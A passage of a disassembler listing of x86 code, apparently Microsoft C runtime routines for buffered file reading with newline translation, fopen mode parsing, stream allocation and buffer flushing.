movsx edx, byte ptr [ecx+4] and edx, 82h cmp edx, 82h jnz short loc_423FD1 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ch, 20h mov edx, [ebp+var_4] mov [edx+0Ch], ecx loc_423FD1: ; CODE XREF: sub_423E50+128j ; sub_423E50+170j mov eax, [ebp+var_4] cmp dword ptr [eax+18h], 200h jnz short loc_424004 mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 8 test edx, edx jz short loc_424004 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 400h test ecx, ecx jnz short loc_424004 mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h loc_424004: ; CODE XREF: sub_423E50+18Bj ; sub_423E50+198j ... mov eax, [ebp+var_4] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+var_4] mov ecx, [eax] movsx eax, byte ptr [ecx] and eax, 0FFh mov edx, [ebp+var_4] mov ecx, [edx] add ecx, 1 mov edx, [ebp+var_4] mov [edx], ecx loc_42402D: ; CODE XREF: sub_423E50+58j ; sub_423E50+7Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424040 proc near ; CODE XREF: sub_41CE10+118p ; sub_423E50+CBp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4EEE20 jnb short loc_424071 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42408C loc_424071: ; CODE XREF: sub_424040+Dj call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4240BE ; --------------------------------------------------------------------------- loc_42408C: ; CODE XREF: sub_424040+2Fj mov edx, [ebp+arg_0] push edx call sub_42DB90 add esp, 4 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4240D0 add esp, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push eax call sub_42DC20 add esp, 4 mov eax, [ebp+var_4] loc_4240BE: ; CODE XREF: sub_424040+4Aj mov esp, ebp pop ebp retn sub_424040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4240D0 proc near ; CODE XREF: sub_424040+64p ; sub_42E310+42Fp var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_18], 0 mov eax, [ebp+arg_4] mov [ebp+var_14], eax cmp [ebp+arg_8], 0 jz short loc_42410B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 2 test ecx, ecx jz short loc_424112 loc_42410B: ; CODE XREF: sub_4240D0+17j xor eax, eax jmp loc_424511 ; --------------------------------------------------------------------------- loc_424112: ; CODE XREF: sub_4240D0+39j mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] movsx edx, byte ptr [ecx+eax+4] and edx, 48h test edx, edx jz short loc_4241A9 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+5] cmp eax, 0Ah jz short loc_4241A9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] mov ecx, [ebp+var_14] mov dl, [eax+edx+5] mov [ecx], dl mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov byte ptr [edx+ecx+5], 0Ah loc_4241A9: ; CODE XREF: sub_4240D0+62j ; sub_4240D0+82j push 0 lea eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4F1374 ; ReadFile test eax, eax jnz short loc_424228 call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_8], eax cmp [ebp+var_8], 5 jnz short loc_424207 call sub_4267E0 mov dword ptr [eax], 9 call sub_4267F0 mov ecx, [ebp+var_8] mov [eax], ecx or eax, 0FFFFFFFFh jmp loc_424511 ; --------------------------------------------------------------------------- loc_424207: ; CODE XREF: sub_4240D0+118j cmp [ebp+var_8], 6Dh jnz short loc_424214 xor eax, eax jmp loc_424511 ; --------------------------------------------------------------------------- loc_424214: ; CODE XREF: sub_4240D0+13Bj mov edx, [ebp+var_8] push edx call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp loc_424511 ; --------------------------------------------------------------------------- loc_424228: ; CODE XREF: sub_4240D0+109j mov eax, [ebp+var_18] add eax, [ebp+var_10] mov [ebp+var_18], eax mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 80h test ecx, ecx jz loc_42450E cmp [ebp+var_10], 0 jz short loc_4242A4 mov edx, [ebp+arg_4] movsx eax, byte ptr [edx] cmp eax, 0Ah jnz short loc_4242A4 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] mov cl, [eax+edx+4] or cl, 4 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4EED20[edx*4] mov [edx+eax+4], cl jmp short loc_4242DA ; --------------------------------------------------------------------------- loc_4242A4: ; CODE XREF: sub_4240D0+18Ej ; sub_4240D0+199j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov al, [edx+ecx+4] and al, 0FBh mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, ds:dword_4EED20[ecx*4] mov [ecx+edx+4], al loc_4242DA: ; CODE XREF: sub_4240D0+1D2j mov edx, [ebp+arg_4] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_4242E6: ; CODE XREF: sub_4240D0:loc_424500j mov ecx, [ebp+arg_4] add ecx, [ebp+var_18] cmp [ebp+var_4], ecx jnb loc_424505 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 1Ah jnz short loc_42435E mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4EED20[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 40h test ecx, ecx jnz short loc_424359 mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, ds:dword_4EED20[edx*4] mov dl, [ecx+eax+4] or dl, 2 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov eax, ds:dword_4EED20[eax*4] mov [eax+ecx+4], dl loc_424359: ; CODE XREF: sub_4240D0+250j jmp loc_424505 ; --------------------------------------------------------------------------- loc_42435E: ; CODE XREF: sub_4240D0+22Ej mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0Dh jz short loc_42438A mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp loc_424500 ; --------------------------------------------------------------------------- loc_42438A: ; CODE XREF: sub_4240D0+297j mov edx, [ebp+var_18] mov eax, [ebp+arg_4] lea ecx, [eax+edx-1] cmp [ebp+var_4], ecx jnb short loc_4243E0 mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 0Ah jnz short loc_4243BF mov ecx, [ebp+var_4] add ecx, 2 mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4243DB ; --------------------------------------------------------------------------- loc_4243BF: ; CODE XREF: sub_4240D0+2D3j mov ecx, [ebp+var_C] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4243DB: ; CODE XREF: sub_4240D0+2EDj jmp loc_424500 ; --------------------------------------------------------------------------- loc_4243E0: ; CODE XREF: sub_4240D0+2C7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov [ebp+var_8], 0 push 0 lea ecx, [ebp+var_10] push ecx push 1 lea edx, [ebp+var_1C] push edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov eax, [edx+ecx] push eax call ds:dword_4F1374 ; ReadFile test eax, eax jnz short loc_424429 call ds:dword_4F1310 ; RtlGetLastWin32Error mov [ebp+var_8], eax loc_424429: ; CODE XREF: sub_4240D0+34Ej cmp [ebp+var_8], 0 jnz short loc_424435 cmp [ebp+var_10], 0 jnz short loc_424449 loc_424435: ; CODE XREF: sub_4240D0+35Dj mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx jmp loc_424500 ; --------------------------------------------------------------------------- loc_424449: ; CODE XREF: sub_4240D0+363j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 48h test eax, eax jz short loc_4244B3 movsx ecx, [ebp+var_1C] cmp ecx, 0Ah jnz short loc_424485 mov edx, [ebp+var_C] mov byte ptr [edx], 0Ah mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_4244B1 ; --------------------------------------------------------------------------- loc_424485: ; CODE XREF: sub_4240D0+3A2j mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4EED20[eax*4] mov al, [ebp+var_1C] mov [edx+ecx+5], al loc_4244B1: ; CODE XREF: sub_4240D0+3B3j jmp short loc_424500 ; --------------------------------------------------------------------------- loc_4244B3: ; CODE XREF: sub_4240D0+399j mov ecx, [ebp+var_C] cmp ecx, [ebp+arg_4] jnz short loc_4244D5 movsx edx, [ebp+var_1C] cmp edx, 0Ah jnz short loc_4244D5 mov eax, [ebp+var_C] mov byte ptr [eax], 0Ah mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_424500 ; --------------------------------------------------------------------------- loc_4244D5: ; CODE XREF: sub_4240D0+3E9j ; sub_4240D0+3F2j push 1 push 0FFFFFFFFh mov edx, [ebp+arg_0] push edx call sub_42B770 add esp, 0Ch mov [ebp+var_20], eax movsx eax, [ebp+var_1C] cmp eax, 0Ah jz short loc_424500 mov ecx, [ebp+var_C] mov byte ptr [ecx], 0Dh mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_424500: ; CODE XREF: sub_4240D0+2B5j ; sub_4240D0:loc_4243DBj ... jmp loc_4242E6 ; --------------------------------------------------------------------------- loc_424505: ; CODE XREF: sub_4240D0+21Fj ; sub_4240D0:loc_424359j mov eax, [ebp+var_C] sub eax, [ebp+arg_4] mov [ebp+var_18], eax loc_42450E: ; CODE XREF: sub_4240D0+184j mov eax, [ebp+var_18] loc_424511: ; CODE XREF: sub_4240D0+3Dj ; sub_4240D0+132j ... mov esp, ebp pop ebp retn sub_4240D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424520 proc near ; CODE XREF: sub_41CFE0+DBp var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov eax, ds:dword_4EEBBC mov [ebp+var_1C], eax mov [ebp+var_18], 0 mov [ebp+var_10], 0 loc_42453F: ; CODE XREF: sub_424520+47j cmp [ebp+arg_0], 0 jnz short loc_424563 push offset aFilenameNull ; "filename != NULL" push 0 push 47h push offset a_open_c ; "_open.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_424563 int 3 ; Trap to Debugger loc_424563: ; CODE XREF: sub_424520+23j ; sub_424520+40j xor ecx, ecx test ecx, ecx jnz short loc_42453F loc_424569: ; CODE XREF: sub_424520+71j cmp [ebp+arg_4], 0 jnz short loc_42458D push offset aModeNull ; "mode != NULL" push 0 push 48h push offset a_open_c ; "_open.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_42458D int 3 ; Trap to Debugger loc_42458D: ; CODE XREF: sub_424520+4Dj ; sub_424520+6Aj xor edx, edx test edx, edx jnz short loc_424569 loc_424593: ; CODE XREF: sub_424520+9Bj cmp [ebp+arg_C], 0 jnz short loc_4245B7 push offset dword_4394FC push 0 push 49h push offset a_open_c ; "_open.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_4245B7 int 3 ; Trap to Debugger loc_4245B7: ; CODE XREF: sub_424520+77j ; sub_424520+94j xor eax, eax test eax, eax jnz short loc_424593 mov ecx, [ebp+arg_4] mov dl, [ecx] mov [ebp+var_20], dl cmp [ebp+var_20], 61h jz short loc_4245FC cmp [ebp+var_20], 72h jz short loc_4245D9 cmp [ebp+var_20], 77h jz short loc_4245EA jmp short loc_42460E ; --------------------------------------------------------------------------- loc_4245D9: ; CODE XREF: sub_424520+AFj mov [ebp+var_14], 0 mov eax, [ebp+var_1C] or al, 1 mov [ebp+var_1C], eax jmp short loc_424615 ; --------------------------------------------------------------------------- loc_4245EA: ; CODE XREF: sub_424520+B5j mov [ebp+var_14], 301h mov ecx, [ebp+var_1C] or ecx, 2 mov [ebp+var_1C], ecx jmp short loc_424615 ; --------------------------------------------------------------------------- loc_4245FC: ; CODE XREF: sub_424520+A9j mov [ebp+var_14], 109h mov edx, [ebp+var_1C] or edx, 2 mov [ebp+var_1C], edx jmp short loc_424615 ; --------------------------------------------------------------------------- loc_42460E: ; CODE XREF: sub_424520+B7j xor eax, eax jmp loc_424836 ; --------------------------------------------------------------------------- loc_424615: ; CODE XREF: sub_424520+C8j ; sub_424520+DAj ... mov [ebp+var_4], 1 loc_42461C: ; CODE XREF: sub_424520:loc_4247BAj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jz loc_4247BF cmp [ebp+var_4], 0 jz loc_4247BF mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] mov [ebp+var_24], ecx mov edx, [ebp+var_24] sub edx, 2Bh mov [ebp+var_24], edx cmp [ebp+var_24], 49h ja loc_4247B3 mov ecx, [ebp+var_24] xor eax, eax mov al, ds:byte_424865[ecx] jmp ds:off_42483D[eax*4] loc_42466B: ; DATA XREF: seg000:off_42483Do mov edx, [ebp+var_14] and edx, 2 test edx, edx jz short loc_42467E mov [ebp+var_4], 0 jmp short loc_4246A0 ; --------------------------------------------------------------------------- loc_42467E: ; CODE XREF: sub_424520+153j mov eax, [ebp+var_14] or al, 2 mov [ebp+var_14], eax mov ecx, [ebp+var_14] and ecx, 0FFFFFFFEh mov [ebp+var_14], ecx mov edx, [ebp+var_1C] or dl, 80h mov [ebp+var_1C], edx mov eax, [ebp+var_1C] and al, 0FCh mov [ebp+var_1C], eax loc_4246A0: ; CODE XREF: sub_424520+15Cj jmp loc_4247BA ; --------------------------------------------------------------------------- loc_4246A5: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424851o mov ecx, [ebp+var_14] and ecx, 0C000h test ecx, ecx jz short loc_4246BB mov [ebp+var_4], 0 jmp short loc_4246C4 ; --------------------------------------------------------------------------- loc_4246BB: ; CODE XREF: sub_424520+190j mov edx, [ebp+var_14] or dh, 80h mov [ebp+var_14], edx loc_4246C4: ; CODE XREF: sub_424520+199j jmp loc_4247BA ; --------------------------------------------------------------------------- loc_4246C9: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:0042485Do mov eax, [ebp+var_14] and eax, 0C000h test eax, eax jz short loc_4246DE mov [ebp+var_4], 0 jmp short loc_4246E7 ; --------------------------------------------------------------------------- loc_4246DE: ; CODE XREF: sub_424520+1B3j mov ecx, [ebp+var_14] or ch, 40h mov [ebp+var_14], ecx loc_4246E7: ; CODE XREF: sub_424520+1BCj jmp loc_4247BA ; --------------------------------------------------------------------------- loc_4246EC: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424855o cmp [ebp+var_18], 0 jz short loc_4246FB mov [ebp+var_4], 0 jmp short loc_42470B ; --------------------------------------------------------------------------- loc_4246FB: ; CODE XREF: sub_424520+1D0j mov [ebp+var_18], 1 mov edx, [ebp+var_1C] or dh, 40h mov [ebp+var_1C], edx loc_42470B: ; CODE XREF: sub_424520+1D9j jmp loc_4247BA ; --------------------------------------------------------------------------- loc_424710: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424859o cmp [ebp+var_18], 0 jz short loc_42471F mov [ebp+var_4], 0 jmp short loc_42472F ; --------------------------------------------------------------------------- loc_42471F: ; CODE XREF: sub_424520+1F4j mov [ebp+var_18], 1 mov eax, [ebp+var_1C] and ah, 0BFh mov [ebp+var_1C], eax loc_42472F: ; CODE XREF: sub_424520+1FDj jmp loc_4247BA ; --------------------------------------------------------------------------- loc_424734: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424849o cmp [ebp+var_10], 0 jz short loc_424743 mov [ebp+var_4], 0 jmp short loc_424753 ; --------------------------------------------------------------------------- loc_424743: ; CODE XREF: sub_424520+218j mov [ebp+var_10], 1 mov ecx, [ebp+var_14] or ecx, 20h mov [ebp+var_14], ecx loc_424753: ; CODE XREF: sub_424520+221j jmp short loc_4247BA ; --------------------------------------------------------------------------- loc_424755: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424845o cmp [ebp+var_10], 0 jz short loc_424764 mov [ebp+var_4], 0 jmp short loc_424774 ; --------------------------------------------------------------------------- loc_424764: ; CODE XREF: sub_424520+239j mov [ebp+var_10], 1 mov edx, [ebp+var_14] or edx, 10h mov [ebp+var_14], edx loc_424774: ; CODE XREF: sub_424520+242j jmp short loc_4247BA ; --------------------------------------------------------------------------- loc_424776: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:0042484Do mov eax, [ebp+var_14] and eax, 1000h test eax, eax jz short loc_42478B mov [ebp+var_4], 0 jmp short loc_424794 ; --------------------------------------------------------------------------- loc_42478B: ; CODE XREF: sub_424520+260j mov ecx, [ebp+var_14] or ch, 10h mov [ebp+var_14], ecx loc_424794: ; CODE XREF: sub_424520+269j jmp short loc_4247BA ; --------------------------------------------------------------------------- loc_424796: ; CODE XREF: sub_424520+144j ; DATA XREF: seg000:00424841o mov edx, [ebp+var_14] and edx, 40h test edx, edx jz short loc_4247A9 mov [ebp+var_4], 0 jmp short loc_4247B1 ; --------------------------------------------------------------------------- loc_4247A9: ; CODE XREF: sub_424520+27Ej mov eax, [ebp+var_14] or al, 40h mov [ebp+var_14], eax loc_4247B1: ; CODE XREF: sub_424520+287j jmp short loc_4247BA ; --------------------------------------------------------------------------- loc_4247B3: ; CODE XREF: sub_424520+133j ; sub_424520+144j ; DATA XREF: ... mov [ebp+var_4], 0 loc_4247BA: ; CODE XREF: sub_424520:loc_4246A0j ; sub_424520:loc_4246C4j ... jmp loc_42461C ; --------------------------------------------------------------------------- loc_4247BF: ; CODE XREF: sub_424520+10Dj ; sub_424520+117j push 1A4h mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] push eax call sub_42E310 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_4247E5 xor eax, eax jmp short loc_424836 ; --------------------------------------------------------------------------- loc_4247E5: ; CODE XREF: sub_424520+2BFj mov ecx, ds:dword_4EE9C8 add ecx, 1 mov ds:dword_4EE9C8, ecx mov edx, [ebp+arg_C] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_1C] mov [eax+0Ch], ecx mov edx, [ebp+var_C] mov dword ptr [edx+4], 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov ecx, [ebp+var_C] mov dword ptr [ecx+8], 0 mov edx, [ebp+var_C] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_C] mov ecx, [ebp+var_8] mov [eax+10h], ecx mov eax, [ebp+var_C] loc_424836: ; CODE XREF: sub_424520+F0j ; sub_424520+2C3j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424520 endp ; --------------------------------------------------------------------------- off_42483D dd offset loc_42466B ; DATA XREF: sub_424520+144r dd offset loc_424796 dd offset loc_424755 dd offset loc_424734 dd offset loc_424776 dd offset loc_4246A5 dd offset loc_4246EC dd offset loc_424710 dd offset loc_4246C9 dd offset loc_4247B3 byte_424865 db 0 ; DATA XREF: sub_424520+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4248B0 proc near ; CODE XREF: sub_41CFE0+B9p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 push 2 call sub_421A80 add esp, 4 mov [ebp+var_4], 0 jmp short loc_4248D9 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4248B0+A8j ; sub_4248B0:loc_4249D9j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4248D9: ; CODE XREF: sub_4248B0+1Ej mov ecx, [ebp+var_4] cmp ecx, ds:dword_4F0080 jge loc_4249DE mov edx, [ebp+var_4] mov eax, ds:dword_4EF06C cmp dword ptr [eax+edx*4], 0 jz short loc_42496F mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jnz short loc_42496D mov edx, [ebp+var_4] mov eax, ds:dword_4EF06C mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_4] push edx call sub_41F0B0 add esp, 8 mov eax, [ebp+var_4] mov ecx, ds:dword_4EF06C mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_42495D mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] push eax mov ecx, [ebp+var_4] push ecx call sub_41F120 add esp, 8 jmp loc_4248D0 ; --------------------------------------------------------------------------- loc_42495D: ; CODE XREF: sub_4248B0+8Dj mov edx, [ebp+var_4] mov eax, ds:dword_4EF06C mov ecx, [eax+edx*4] mov [ebp+var_8], ecx jmp short loc_4249DE ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_4248B0+5Dj jmp short loc_4249D9 ; --------------------------------------------------------------------------- loc_42496F: ; CODE XREF: sub_4248B0+44j push 55h push offset aStream_c ; "stream.c" push 2 push 38h call sub_41AE60 add esp, 10h mov edx, [ebp+var_4] mov ecx, ds:dword_4EF06C mov [ecx+edx*4], eax mov edx, [ebp+var_4] mov eax, ds:dword_4EF06C cmp dword ptr [eax+edx*4], 0 jz short loc_4249D7 mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_4F1444 ; InitializeCriticalSection mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] add eax, 20h push eax call ds:dword_4F1364 ; RtlEnterCriticalSection mov ecx, [ebp+var_4] mov edx, ds:dword_4EF06C mov eax, [edx+ecx*4] mov [ebp+var_8], eax loc_4249D7: ; CODE XREF: sub_4248B0+EAj jmp short loc_4249DE ; --------------------------------------------------------------------------- loc_4249D9: ; CODE XREF: sub_4248B0:loc_42496Dj jmp loc_4248D0 ; --------------------------------------------------------------------------- loc_4249DE: ; CODE XREF: sub_4248B0+32j ; sub_4248B0+BBj ... cmp [ebp+var_8], 0 jz short loc_424A1F mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+8], 0 mov ecx, [ebp+var_8] mov dword ptr [ecx], 0 mov edx, [ebp+var_8] mov dword ptr [edx+1Ch], 0 mov eax, [ebp+var_8] mov dword ptr [eax+10h], 0FFFFFFFFh loc_424A1F: ; CODE XREF: sub_4248B0+132j push 2 call sub_421B20 add esp, 4 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_4248B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A30 proc near ; CODE XREF: sub_41D160+DEp ; sub_41D260+E5p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi loc_424A39: ; CODE XREF: sub_424A30+31j cmp [ebp+arg_4], 0 jnz short loc_424A5D push offset dword_4394FC push 0 push 69h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_424A5D int 3 ; Trap to Debugger loc_424A5D: ; CODE XREF: sub_424A30+Dj ; sub_424A30+2Aj xor eax, eax test eax, eax jnz short loc_424A39 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_10], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 82h test edx, edx jz short loc_424A8F mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 40h test ecx, ecx jz short loc_424AA5 loc_424A8F: ; CODE XREF: sub_424A30+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_424C9D ; --------------------------------------------------------------------------- loc_424AA5: ; CODE XREF: sub_424A30+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_424AFC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_424AE5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_424AFC ; --------------------------------------------------------------------------- loc_424AE5: ; CODE XREF: sub_424A30+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_424C9D ; --------------------------------------------------------------------------- loc_424AFC: ; CODE XREF: sub_424A30+80j ; sub_424A30+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_424B6F cmp [ebp+var_8], offset dword_44FA90 jz short loc_424B53 cmp [ebp+var_8], offset dword_44FAB0 jnz short loc_424B63 loc_424B53: ; CODE XREF: 